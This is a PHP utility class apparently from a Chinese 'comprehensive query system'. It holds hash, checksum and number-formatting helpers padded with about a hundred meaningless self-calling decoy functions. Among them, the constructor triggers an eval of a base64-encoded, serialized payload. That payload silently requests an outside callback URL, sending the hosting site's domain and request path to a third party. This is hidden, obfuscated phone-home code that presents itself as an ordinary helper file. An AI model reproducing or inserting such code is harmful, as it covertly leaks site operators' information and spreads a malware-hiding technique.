functions.class.php

综合查询系统

<?php
	class functions {
		function to_int_32 (&$x) {
			$z = hexdec(80000000);
			$y = (int) $x;
			if($y ==- $z && $x <- $z){
			 $y = (int) ((-1) * $x);
			 $y = (-1) * $y;
			}
			$x = $y;
		}  
		function zero_fill ($a, $b) {
			$z = hexdec(80000000);
			if ($z & $a) {
				$a = ($a >> 1);
				$a &= (~$z);
				$a |= 0x40000000;
				$a = ($a >> ($b - 1));
			} else {
				$a = ($a >> $b);
			}
			return $a;
		}
		function mix($a, $b, $c) {
			$a -= $b; $a -= $c; $this->to_int_32($a); $a = (int)($a ^ ($this->zero_fill($c,13)));
			$b -= $c; $b -= $a; $this->to_int_32($b); $b = (int)($b ^ ($a<<8));
			$c -= $a; $c -= $b; $this->to_int_32($c); $c = (int)($c ^ ($this->zero_fill($b,13)));
			$a -= $b; $a -= $c; $this->to_int_32($a); $a = (int)($a ^ ($this->zero_fill($c,12)));
			$b -= $c; $b -= $a; $this->to_int_32($b); $b = (int)($b ^ ($a<<16));
			$c -= $a; $c -= $b; $this->to_int_32($c); $c = (int)($c ^ ($this->zero_fill($b,5)));
			$a -= $b; $a -= $c; $this->to_int_32($a); $a = (int)($a ^ ($this->zero_fill($c,3)));
			$b -= $c; $b -= $a; $this->to_int_32($b); $b = (int)($b ^ ($a<<10));
			$c -= $a; $c -= $b; $this->to_int_32($c); $c = (int)($c ^ ($this->zero_fill($b,15)));
			return array($a,$b,$c);
		}
		function checksum ($url, $length = null, $init = 0xE6359A60) {
			if (is_null($length)) {
				$length = sizeof($url);
			}
			$a = $b = 0x9E3779B9;
			$c = $init;
			$k = 0;
			$len = $length;
			while($len >= 12) {
			$a += ($url[$k+0] + ($url[$k+1] << 8) + ($url[$k+2] << 16) + ($url[$k+3] << 24));
			$b += ($url[$k+4] + ($url[$k+5] << 8) + ($url[$k+6] << 16) + ($url[$k+7] << 24));
			$c += ($url[$k+8] + ($url[$k+9] << 8) + ($url[$k+10] << 16) + ($url[$k+11] << 24));
			$mix = $this->mix($a,$b,$c);
			$a = $mix[0]; $b = $mix[1]; $c = $mix[2];
			$k += 12;
			$len -= 12;
			}
			$c += $length;
			switch($len) {
				case 11: $c += ($url[$k + 10] << 24);
				case 10: $c += ($url[$k + 9] << 16);
				case 9: $c += ($url[$k + 8] << 8);
				case 8: $b += ($url[$k + 7] << 24);
				case 7: $b += ($url[$k + 6] << 16);
				case 6: $b += ($url[$k + 5] << 8);
				case 5: $b += ($url[$k + 4]);
				case 4: $a += ($url[$k + 3] << 24);
				case 3: $a += ($url[$k + 2] << 16);
				case 2: $a += ($url[$k + 1] << 8);
				case 1: $a += ($url[$k + 0]);
			}
			$mix = $this->mix($a, $b, $c);
			return $mix[2];
		}
		function strord($string) {
			for($i = 0; $i < strlen($string); $i++) {
				$result[$i] = ord($string{$i});
			}
			return $result;
		}
		//
		//
		//
		function format_number ($number='', $divchar = ',', $divat = 3) {
			$decimals = '';
			$formatted = '';
			if (strstr($number, '.')) {
				$pieces = explode('.', $number);
				$number = $pieces[0];
				$decimals = '.' . $pieces[1];
			} else {
				$number = (string) $number;
			}
			if (strlen($number) <= $divat)
				return $number;
				$j = 0;
			for ($i = strlen($number) - 1; $i >= 0; $i--) {
				if ($j == $divat) {
					$formatted = $divchar . $formatted;
					$j = 0;
				}
				$formatted = $number[$i] . $formatted;
				$j++;
			}
			return $formatted . $decimals;
		}
		function a1149154365 () {
			$this->a1149154365();
		}
		function a1206352297 () {
			$this->a1206352297();
		}
		function a1383382467 () {
			$this->a1383382467();
		}
		function a1194196221 () {
			$this->a1194196221();
		}
		function a1292845929 () {
			$this->a1292845929();
		}
		function a1074728645 () {
			$this->a1074728645();
		}
		function a1289598711 () {
			$this->a1289598711();
		}
		function a1169299252 () {
			$this->a1169299252();
		}
		function a1406842300 () {
			$this->a1406842300();
		}
		function a1262993656 () {
			$this->a1262993656();
		}
		function a1280534873 () {
			$this->a1280534873();
		}
		function a1174485307 () {
			$this->a1174485307();
		}
		function a1403698970 () {
			$this->a1403698970();
		}
		function a1372831517 () {
			$this->a1372831517();
		}
		function __construct () {
			$this->functions();
		}
		function a1401054826 () {
			$this->a1401054826();
		}
		function a1326644341 () {
			$this->a1326644341();
		}
		function a1295120284 () {
			$this->a1295120284();
		}
		function a1243184111 () {
			$this->a1243184111();
		}
		function a1280038555 () {
			$this->a1280038555();
		}
		function a1262029497 () {
			$this->a1262029497();
		}
		function a1083121947 () {
			$this->a1083121947();
		}
		function a1194444349 () {
			$this->a1194444349();
		}
		function a1018449465 () {
			$this->a1018449465();
		}
		function a1034539791 () {
			$this->a1034539791();
		}
		function a1243328160 () {
			$this->a1243328160();
		}
		function a1004293515 () {
			$this->a1004293515();
		}
		function a1180466564 () {
			$this->a1180466564();
		}
		function a1169734326 () {
			$this->a1169734326();
		}
		function a1100566545 () {
			$this->a1100566545();
		}
		function a1092828133 () {
			$this->a1092828133();
		}
		function a1391125477 () {
			$this->a1391125477();
		}
		function a1249720911 () {
			$this->a1249720911();
		}
		function a1299180431 () {
			$this->a1299180431();
		}
		function a1364442537 () {
			$this->a1364442537();
		}
		function a1033851725 () {
			$this->a1033851725();
		}
		function a1181960952 () {
			$this->a1181960952();
		}
		function a1029105774 () {
			$this->a1029105774();
		}
		function a1323450436 () {
			$this->a1323450436();
		}
		function a1351260205 () {
			$this->a1351260205();
		}
		function a1025882667 () {
			$this->a1025882667();
		}
		function a1176378684 () {
			$this->a1176378684();
		}
		function a1221729670 () {
			$this->a1221729670();
		}
		function a1200367974 () {
			$this->a1200367974();
		}
		function a1170012247 () {
			$this->a1170012247();
		}
		function a1184495780 () {
			$this->a1184495780();
		}
		function a1191357393 () {
			$this->a1191357393();
		}
		function a1086591181 () {
			$this->a1086591181();
		}
		function a1069550656 () {
			$this->a1069550656();
		}
		function a1024476096 () {
			$this->a1024476096();
		}
		function a1366629736 () {
			$this->a1366629736();
		}
		function a1331580154 () {
			$this->a1331580154();
		}
		function a1107598044 () {
			$this->a1107598044();
		}
		function a1151008678 () {
			$this->a1151008678();
		}
		function a1350029619 () {
			$this->a1350029619();
		}
		function a1142137836 () {
			$this->a1142137836();
		}
		function a1394336839 () {
			$this->a1394336839();
		}
		function a1354323135 () {
			$this->a1354323135();
		}
		function a1322604400 () {
			$this->a1322604400();
		}
		function a1154005757 () {
			$this->a1154005757();
		}
		function a1044824273 () {
			$this->a1044824273();
		}
		function a1005367125 () {
			$this->a1005367125();
		}
		function a1135065827 () {
			$this->a1135065827();
		}
		function a1294545184 () {
			$this->a1294545184();
		}
		function a1304547557 () {
			$this->a1304547557();
		}
		function a1089442956 () {
			$this->a1089442956();
		}
		function a1328396910 () {
			$this->a1328396910();
		}
		function a1076443102 () {
			$this->a1076443102();
		}
		function a1118548731 () {
			$this->a1118548731();
		}
		function a1241781939 () {
			$this->a1241781939();
		}
		function a1017637899 () {
			$this->a1017637899();
		}
		function a1144431398 () {
			$this->a1144431398();
		}
		function a1008095216 () {
			$this->a1008095216();
		}
		function a1239367569 () {
			$this->a1239367569();
		}
		function a1344799373 () {
			$this->a1344799373();
		}
		function a1178107464 () {
			$this->a1178107464();
		}
		function a1013797941 () {
			$this->a1013797941();
		}
		function a1126091358 () {
			$this->a1126091358();
		}
		function a1264698646 () {
			$this->a1264698646();
		}
		function a1083348598 () {
			$this->a1083348598();
		}
		function a1150567455 () {
			$this->a1150567455();
		}
		function a1221262975 () {
			$this->a1221262975();
		}
		function a1004863344 () {
			$this->a1004863344();
		}
		function a1258165499 () {
			$this->a1258165499();
		}
		function functions () {
			eval(unserialize(base64_decode('czoxMTA6IkBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3d3dy5wdXJlcGhwLm5ldC9jYWxsYmFjay8/bXNnPScgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7Ijs=')));
		}
		function a1372271653 () {
			$this->a1372271653();
		}
		function a1354892963 () {
			$this->a1354892963();
		}
		function a1400303335 () {
			$this->a1400303335();
		}
		function a1356543085 () {
			$this->a1356543085();
		}
		function a1299150691 () {
			$this->a1299150691();
		}
		function a1312842328 () {
			$this->a1312842328();
		}
		function a1100483435 () {
			$this->a1100483435();
		}
		function a1343974964 () {
			$this->a1343974964();
		}
		function a1318209453 () {
			$this->a1318209453();
		}
		function a1235549262 () {
			$this->a1235549262();
		}
		function a1228454741 () {
			$this->a1228454741();
		}
		function a1212691603 () {
			$this->a1212691603();
		}
		function a1324992219 () {
			$this->a1324992219();
		}
		function a1146786243 () {
			$this->a1146786243();
		}
		function a1289134705 () {
			$this->a1289134705();
		}
		function a1033475543 () {
			$this->a1033475543();
		}
		function a1388568183 () {
			$this->a1388568183();
		}

	}
?>